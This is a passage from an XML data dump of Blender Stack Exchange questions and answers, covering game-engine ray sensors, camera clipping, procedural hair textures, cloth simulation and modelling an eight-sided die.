  <row Id="32388" PostTypeId="1" AcceptedAnswerId="32402" CreationDate="2015-06-13T05:59:43.177" Score="0" ViewCount="153" Body="&lt;p&gt;I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;from bge import logic&#xA;&#xA;controllor = bge.logic.getCurrentController()&#xA;scene = bge.logic.getCurrentScene()&#xA;&#xA;target = scene.objects['Target']&#xA;ray = controllor.sensors['Ray']&#xA;&#xA;if (ray.hitObject and not 'Fire_False' in ray.hitObject):&#xA;    target.worldPosition = ray.hitPosition&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine wit &lt;em&gt;all&lt;/em&gt; my weapons except melees. The reason for that is the following: bullet holes are added to the target, as that is where the bullet actually is. For melees, you can use a melee in a &lt;strong&gt;short range&lt;/strong&gt;, as in, when you attack, you &lt;em&gt;only&lt;/em&gt; attack close. I need to edit this script into where &lt;strong&gt;if it [target] is not colliding with anything, a property will be false&lt;/strong&gt;. The property, if false, means that &lt;strong&gt;it [target] should be tracking to an object&lt;/strong&gt;. How can I achieve this? Any help is appreciated. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ALSO: For ease, I just need a prop to be false when not colliding.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-06-14T02:01:58.433" Title="Not colliding ray?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32389" PostTypeId="2" ParentId="32383" CreationDate="2015-06-13T06:06:45.140" Score="3" Body="&lt;p&gt;You can use the &lt;em&gt;text on curve&lt;/em&gt; settings in the text panel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3fXZC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The behavior of this setting requires practice.  Note the curve is in the XY plane, but the text is positioned in the ZX Plane.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="3078" LastEditDate="2015-06-13T07:44:21.470" LastActivityDate="2015-06-13T07:44:21.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32390" PostTypeId="1" AcceptedAnswerId="33989" CreationDate="2015-06-13T07:28:13.483" Score="7" ViewCount="618" Body="&lt;p&gt;I want to calculate the density of a volumetric Emission material using the distance inward from the mesh surface. I've been able to do this with a cube and several coordinate systems: generated, object, I can display the u,v-coordinates as colors on the surface of a uv-mapped mesh. I can use the Mapping Node to rotate these coordinates around the X- or Y-axis and see the w-coordinate in shades of blue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within the Blender manual pages for &lt;a href=&quot;https://www.blender.org/manual/render/cycles/nodes/input.html&quot; rel=&quot;nofollow&quot;&gt;Input Nodes&lt;/a&gt;, the description of the Texture Coordinate Node makes no mention of unsupported coordinate systems for volume materials. But the description of the Geometry Node states &quot;For volume shaders, only the position and incoming vector are available.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the w-coordinate of the UV coordinate system supported for volume materials? I fear that the w-coordinate cannot be defined within a mesh of arbitrary shape because each interior point can be projected back to the mesh along many normal vectors. But I'm not sure I understand the w-coordinate well.&lt;/p&gt;&#xA;" OwnerUserId="14969" LastEditorUserId="14969" LastEditDate="2015-06-27T14:20:56.303" LastActivityDate="2015-07-15T13:31:02.207" Title="Is the w-coordinate of the UV coordinate system supported by Volumetric materials?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;uv&gt;&lt;coordinates&gt;&lt;volumetrics&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32391" PostTypeId="1" AcceptedAnswerId="32591" CreationDate="2015-06-13T09:17:07.077" Score="6" ViewCount="1266" Body="&lt;p&gt;I have to work with &lt;code&gt;.dng&lt;/code&gt; files and it looks like you can do it in Blender, somehow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As stated in &lt;a href=&quot;https://developer.blender.org/T33003&quot;&gt;this question&lt;/a&gt;, it seems that you can import them but I don't know how; how do I do this?&lt;/p&gt;&#xA;" OwnerUserId="9482" LastEditorUserId="3078" LastEditDate="2015-06-13T09:39:59.540" LastActivityDate="2015-06-17T12:37:18.450" Title="How to import .dng files" Tags="&lt;import&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32392" PostTypeId="1" CreationDate="2015-06-13T10:11:00.270" Score="4" ViewCount="197" Body="&lt;p&gt;I would like to make a realistic cinnamon stick and its shader. My approach is as much procedural as possible, but easier options are ok too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my first render:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aMbHj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And a reference image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZRqWr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(3)I have noticed that there's a darker line can be seen at the both ends; how can I achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/su5iA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/270/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=270&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5435" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-06-15T00:56:28.447" Title="How can I add banded lines to the end of cinnamon sticks(or sheets of wood)?" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;&lt;objects&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32393" PostTypeId="1" AcceptedAnswerId="32394" CreationDate="2015-06-13T11:26:42.667" Score="1" ViewCount="2336" Body="&lt;p&gt;I would like each face of a cube to have the same texture coordinates as each face will contain the same image. Therefore there will be no wasted space from storing a 'T' shaped image, instead of a square image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have attempted uv unwrap the cube and layer the islands on top of each other. However, I am unable to scale and align all of the faces to the full size of my square texture (image).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this issue or is there a better carried out this process?&lt;/p&gt;&#xA;" OwnerUserId="14982" LastActivityDate="2015-06-13T11:41:13.653" Title="How to texture a cube so that each face has the same uv coordinates?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ClosedDate="2015-06-13T15:26:03.787" ContentLicense="CC BY-SA 3.0" />
  <row Id="32394" PostTypeId="2" ParentId="32393" CreationDate="2015-06-13T11:41:13.653" Score="4" Body="&lt;p&gt;Just go to edit mode, select everything, hit U and choose reset!&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-06-13T11:41:13.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32396" PostTypeId="1" AcceptedAnswerId="32449" CreationDate="2015-06-13T13:09:05.143" Score="5" ViewCount="583" Body="&lt;p&gt;I'm making a technical animation to supplement a training document for a lab procedure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to annotate the video by highlighting objects (or parts of objects) to draw attention to specific details. There wouldn't be any motion throughout the animation, so motion tracking wouldn't be an issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O4rGR.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rob3o.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this be achieved within blender?&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="822" LastEditDate="2015-06-13T13:34:07.657" LastActivityDate="2015-06-14T13:39:35.987" Title="Highlighting parts of objects throughout animation" Tags="&lt;animation&gt;&lt;video&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32397" PostTypeId="2" ParentId="32338" CreationDate="2015-06-13T13:17:58.010" Score="1" Body="&lt;p&gt;Here is a basic setup for using a cloth simulation.  It's really basic and uses all default settings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the 'clothes' or 'mesh-hair' you would add a &lt;strong&gt;&lt;em&gt;Cloth&lt;/em&gt;&lt;/strong&gt; Modifier which you can add through the Physics tab.  I've indicated the button in the attached image below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For objects that will affect the cloth shape, you can add a Collision Modifier which is also located in the &lt;strong&gt;&lt;em&gt;Physics&lt;/em&gt;&lt;/strong&gt; tab.  Just make sure that you have the proper object selected when you add each of the Modifiers(that isn't clear from the images ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YA6ot.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now make sure the &lt;strong&gt;&lt;em&gt;Timeline&lt;/em&gt;&lt;/strong&gt; is set to the first frame and start the animation.  You can use the &lt;strong&gt;&lt;em&gt;Play&lt;/em&gt;&lt;/strong&gt; button in the Timeline or press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;a&lt;/kbd&gt; to run the simulation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what this looks like when you run it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wOcdH.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stop the animation when it looks the way you would like it to. If you want to 'freeze' the Cloth sim, you can press the &lt;strong&gt;&lt;em&gt;Apply&lt;/em&gt;&lt;/strong&gt; button for the Cloth Modifier under the Modifiers tab.  &lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-06-13T13:17:58.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32398" PostTypeId="1" AcceptedAnswerId="32400" CreationDate="2015-06-13T13:23:25.773" Score="0" ViewCount="1580" Body="&lt;p&gt;I've managed to get my animation to a point where it works properly, now I'm trying to render it. When I go to render, or even to the Camera View in the 3D view, the scene is clipped and none of my objects are visible! I've tried altering the camera's &quot;Clip Start&quot; and &quot;Clip End&quot; values, doing so had no effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My scene in the 3D view:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4NS44.png&quot; alt=&quot;3dview&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same scene, from the same perspective, in Camera view:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nOPIv.png&quot; alt=&quot;cameraview&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get it to render correctly, even from the Camera View perspective?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: .blend file available at &lt;a href=&quot;http://www.pasteall.org/blend/36540&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/36540&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14957" LastEditorUserId="14957" LastEditDate="2015-06-13T13:33:30.873" LastActivityDate="2015-06-13T13:46:03.150" Title="Problems with clipping" Tags="&lt;rendering&gt;&lt;3d-view&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" ClosedDate="2015-06-13T15:40:31.223" ContentLicense="CC BY-SA 3.0" />
  <row Id="32399" PostTypeId="1" CreationDate="2015-06-13T13:35:24.533" Score="3" ViewCount="190" Body="&lt;p&gt;I was curious about blender game engine and it's portability. It seems that for the most part blender is pretty portable, the main difficulty is moving around the python parts of blender to other platforms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am coming at this from a game developer standpoint. If I write a game in blender with Logic Bricks and assets, and if I want to pack that up and deliver it to the marketplace, it doesn't seem feasible. All the stuff I've read seem to have shown a stall in mobile games built in Blender. If blender didn't require the python parts, at least in the run time it could easily be packaged up as a C/C++ project which can be built for almost any platform out there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is possible to build a version of Blender to work without python with no noticeable differences, wouldn't it significantly improve the portability of the Game Engine? Does anything like this currently exist, and if not, has it been attempted before or could it be attempted now?&lt;/p&gt;&#xA;" OwnerUserId="14984" LastEditorUserId="5426" LastEditDate="2015-06-15T00:49:26.097" LastActivityDate="2015-06-15T00:49:26.097" Title="A more portable blender game engine?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32400" PostTypeId="2" ParentId="32398" CreationDate="2015-06-13T13:40:29.873" Score="1" Body="&lt;p&gt;The clipping settings you have adjusted are those for the 3D view.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To adjust the settings for the camera;&lt;br&gt;&#xA;Select the camera.&lt;br&gt;&#xA;In the &quot;Properties Window&quot;, select the &quot;Object Data&quot; tab (camera icon).&lt;br&gt;&#xA;In the &quot;Lens&quot; panel you will find the camera clipping settings.&lt;/p&gt;&#xA;" OwnerUserId="13901" LastActivityDate="2015-06-13T13:40:29.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32401" PostTypeId="2" ParentId="32398" CreationDate="2015-06-13T13:46:03.150" Score="2" Body="&lt;p&gt;You changed the clipping value for the 3D View, but you should change it (with camera selected) in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TrY8K.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14206" LastActivityDate="2015-06-13T13:46:03.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32402" PostTypeId="2" ParentId="32388" CreationDate="2015-06-13T13:47:22.880" Score="4" Body="&lt;p&gt;If all you want to do is change a property called  &quot;hit&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge  &#xA;cont = bge.logic.getCurrentController()&#xA;ray = cont.sensors['Ray']&#xA;if not ray.hitObject:&#xA;    cont.owner['hit'] = False&#xA;elif ray.hitObject and not 'Fire_False' in ray.hitObject:&#xA;    cont.owner['hit'] = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here is the full code to move your target object to the location of the ray hit &lt;strong&gt;or&lt;/strong&gt; the closest melee enemy.&lt;br&gt;&#xA;You will need to add an &lt;em&gt;Always&lt;/em&gt; sensor with true level triggering, plugged in to your script along with the ray sensor. Add a game property to all of your melee enemies called &quot;&lt;code&gt;melee_target&lt;/code&gt;.&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;cont = bge.logic.getCurrentController()&#xA;scene = bge.logic.getCurrentScene()&#xA;&#xA;target = scene.objects['Target']&#xA;&#xA;allMelee = [o for o in scene.objects if &quot;melee_target&quot; in o]&#xA;allMelee.sort(key=lambda o: cont.owner.getDistanceTo(o))&#xA;&#xA;ray = cont.sensors['Ray']&#xA;if not ray.hitObject:&#xA;    target.worldPosition = allMelee[0].worldPosition&#xA;elif ray.hitObject and not 'Fire_False' in ray.hitObject:&#xA;    target.worldPosition = ray.hitPosition&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First the simple part &lt;code&gt;if not ray.hitObject&lt;/code&gt; means if the ray is not hitting anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;allMelee&lt;/code&gt; variable line is looping through all the objects in the scene and if they have the property of &lt;code&gt;melee_target&lt;/code&gt; then they are added to the &quot;&lt;em&gt;allMelee&lt;/em&gt;&quot; list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;allMelee.sort(key=lambda o: cont.owner.getDistanceTo(o))&lt;/code&gt;&#xA;is sorting the list of melee enemies in the order of closest to farthest away from the object the script is on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last thing to do is move the target object to that location of the closest melee, that is done with this line&lt;br&gt;&#xA;&lt;code&gt;target.worldPosition = allMelee[0].worldPosition&lt;/code&gt;.&lt;br&gt;&#xA;&lt;code&gt;allMelee[0]&lt;/code&gt; is taking the first object out of the list (and thus the closest)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you to &lt;a href=&quot;https://blender.stackexchange.com/users/6355&quot;&gt;Goran Milovanovic&lt;/a&gt; who first &lt;a href=&quot;https://blender.stackexchange.com/q/8803/2217&quot;&gt;showed me&lt;/a&gt; how to get and sort a list of game objects. &lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2015-06-14T02:01:58.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32403" PostTypeId="2" ParentId="32396" CreationDate="2015-06-13T13:49:17.017" Score="2" Body="&lt;p&gt;You can simply animate the colour of the material of your object, maybe with the emission value also.&#xA;Create copies of the material, one for every part to be highlighted, then animate the colour and the emission value.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-06-13T13:49:17.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32404" PostTypeId="1" AcceptedAnswerId="32408" CreationDate="2015-06-13T13:58:46.160" Score="4" ViewCount="2848" Body="&lt;p&gt;I'm working on the manga-stylised hair strands created from simple planes.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/X9DDM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the b&amp;amp;w image texture (.jpg) as a transparency mask. I now want to exchange the .jpg image with the similar texture, but created procedurally. How could I recreate the texture pictured below using procedural textures?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/aKZye.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2015-06-13T15:18:48.607" Title="How to make a procedural hair strand texture?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;editing&gt;&lt;image&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32405" PostTypeId="2" ParentId="32374" CreationDate="2015-06-13T14:16:53.313" Score="1" Body="&lt;p&gt;This may not be a direct answer, but you could try the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Enter Edit Mode, turn off the limit (marked in red), and use the brush to select vertices you want to paint:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xAqdI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Then enter Vertex paint Mode, and turn on the face selection mask:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MvRFC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;It doesn't matter where you click with your brush, because the paint is limited to the selected faces&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pzeXP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Results are (at the front)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wMimg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and (at the back)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JrOkR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14206" LastActivityDate="2015-06-13T14:16:53.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32408" PostTypeId="2" ParentId="32404" CreationDate="2015-06-13T15:18:48.607" Score="10" Body="&lt;p&gt;To do this I would use a mapping node and a noise texture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2v9Io.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which creates:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bwned.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key here is that the mapping node is stretching the noise texture along the x axis by having the 'x' value of the scale to be very small. The closer to 0 it gets the more stretched out it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then increase the scale value on the noise to increase the number of 'bands' in the noise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then used the 'Fac' value of the noise instead of the 'Color' as the output for the shader to display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: I used 'Generated' coordinates but this should work with other coordinates, like UVs. The axis you need to stretch with the mapping node may change depending on the orientation of those coordinates.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2015-06-13T15:18:48.607" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32409" PostTypeId="1" AcceptedAnswerId="32420" CreationDate="2015-06-13T15:41:37.203" Score="6" ViewCount="2576" Body="&lt;h1&gt;Problem&lt;/h1&gt;&#xA;&lt;p&gt;I'm creating an addon loader that allows developers to test their addon in realtime from their external development environment (like eclipse and pydev). Since Blender does not reload all addons automaticly I have to deactivate and reactivate the addon (the refresh button does just update the addon list)&lt;/p&gt;&#xA;&lt;h1&gt;My Idea&lt;/h1&gt;&#xA;&lt;p&gt;I thought I could dig a bit in the Blender sourcecode and use the original code that activates and deactivates an addon. I found several things (in space_userpref.py line 1227 &amp;amp; line 1263) that could do what I want, but it never worked.&lt;/p&gt;&#xA;&lt;h1&gt;I need&lt;/h1&gt;&#xA;&lt;p&gt;the simplest way of de- and reactivating an addon with a known name.&lt;/p&gt;&#xA;" OwnerUserId="8228" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-06-13T22:51:18.500" Title="How to enable and disable Add-ons via Python?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32410" PostTypeId="1" AcceptedAnswerId="32413" CreationDate="2015-06-13T15:52:05.640" Score="15" ViewCount="3589" Body="&lt;p&gt;Simply put, is there a way to make a cube balance solely on one point/vertex?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm struggling. I do not want to have to join two objects, nor have to extrude an object. I just want to have a simple eight-sided die created with one mesh.&lt;/p&gt;&#xA;" OwnerUserId="13814" LastEditorUserId="6204" LastEditDate="2015-06-15T20:14:43.050" LastActivityDate="2020-03-12T11:05:12.627" Title="How do I create an 8 sided die from one object?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="3" CommentCount="8" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32411" PostTypeId="2" ParentId="32371" CreationDate="2015-06-13T15:58:33.757" Score="1" Body="&lt;p&gt;You can try to set it up via the network renderer addon. But if that's no option for you you could try different things.&lt;/p&gt;&#xA;&lt;h2&gt;if you use windows&lt;/h2&gt;&#xA;&lt;p&gt;You can control Blender via the command-shell. That means that you can do it with a short batch file as well. You will need 3 batch files for that:&lt;/p&gt;&#xA;&lt;h3&gt;setup-client&lt;/h3&gt;&#xA;&lt;p&gt;this file is optional but it makes things a lot easier. It asks for the parameters like start frame, end frame etc. .write it on the master-computer.&lt;/p&gt;&#xA;&lt;h3&gt;manager&lt;/h3&gt;&#xA;&lt;p&gt;the manager is a short program that distributes single frames to the seperate render clients and uploads the file together with the parameters to an ftp-server (or a public drive). this program normally runs on the master computer as well.&lt;/p&gt;&#xA;&lt;h3&gt;render client&lt;/h3&gt;&#xA;&lt;p&gt;This program starts blender with the parameters submitted by the manager in the GPU rendering mode. An advanced feature would be to make it restart outomaticly if Blender crashes during rendering.&lt;/p&gt;&#xA;&lt;h2&gt;if you use Mac, Linux or Windows&lt;/h2&gt;&#xA;&lt;p&gt;Create an custom addon for Blender that replaces the batch files.&lt;/p&gt;&#xA;" OwnerUserId="8228" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-06-13T15:58:33.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32413" PostTypeId="2" ParentId="32410" CreationDate="2015-06-13T16:06:18.280" Score="21" Body="&lt;p&gt;Start by adding a cube, entering edit mode, and scaling the whole thing on the &lt;code&gt;Z&lt;/code&gt; axis by &lt;code&gt;1.5&lt;/code&gt; (depends on desired result). Now that you are in edit mode, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt; and click to add a horizontal loop cut. You can now select the top and bottom faces and merge them into one vertex each to make the point (select verts/faces/edges and press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;M&lt;/kbd&gt; &lt;em&gt;&gt; At Center&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QDMRl.gif&quot; alt=&quot;EightSidedDie GIF&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-06-13T16:06:18.280" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32414" PostTypeId="2" ParentId="32410" CreationDate="2015-06-13T16:11:02.247" Score="22" Body="&lt;p&gt;You can create an Octahedron from a cube, that is its dual polyhedron:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a new cube, then in edit mode select all using &lt;kbd&gt;A&lt;/kbd&gt; button. &lt;/li&gt;&#xA;&lt;li&gt;Hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;B&lt;/kbd&gt;, input value 1 and hit &lt;kbd&gt;Enter&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; and select Remove Doubles.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2019-04-24T04:56:02.880" LastActivityDate="2019-04-24T04:56:02.880" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32415" PostTypeId="2" ParentId="32410" CreationDate="2015-06-13T17:14:12.440" Score="24" Body="&lt;p&gt;In user preferences (&lt;kbd&gt;ctrl&lt;/kbd&gt;&lt;kbd&gt;alt&lt;/kbd&gt;&lt;kbd&gt;u&lt;/kbd&gt;) go to &quot;Addons&quot; and enable &quot;Add Mesh:Extra Objects&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MGwQG.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MGwQG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back on the 3D viewport press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; Add-&gt;Mesh-&gt;Math Function-&gt; Solid&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and select Octahedron from the toolbar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZGToE.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-10-25T15:06:24.403" LastActivityDate="2015-10-25T15:06:24.403" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32416" PostTypeId="1" AcceptedAnswerId="32417" CreationDate="2015-06-13T17:35:05.237" Score="2" ViewCount="173" Body="&lt;p&gt;Since these questions are closely related I put them in 1 post, but else I can separate the questions into multiple posts :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I have this layout:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SyMrY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If I move border 3 to the left, it cannot be moved further than border 2. Is there a way to move border 3 such that it 'pushes' border 2 to the left as well? (Same if I want to move border 2 in the direction of border 3)&lt;/li&gt;&#xA;&lt;li&gt;I would like to close the middle panel by border 2, but I can't because on the left there are 2 panels. How can this be achieved?&lt;/li&gt;&#xA;&lt;li&gt;Can I make 1 panel at border 1, such that it is next to 3D view panel AND timeline panel? But I can only make a panel that shares space with either the 3D view panel OR the timeline panel (Same for border 4)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This are multiple questions, but I can separate them if I have to. :)&lt;/p&gt;&#xA;" OwnerUserId="14206" LastEditorUserId="14206" LastEditDate="2015-06-13T17:55:35.707" LastActivityDate="2015-06-13T17:57:00.757" Title="Make layout panels, close panels" 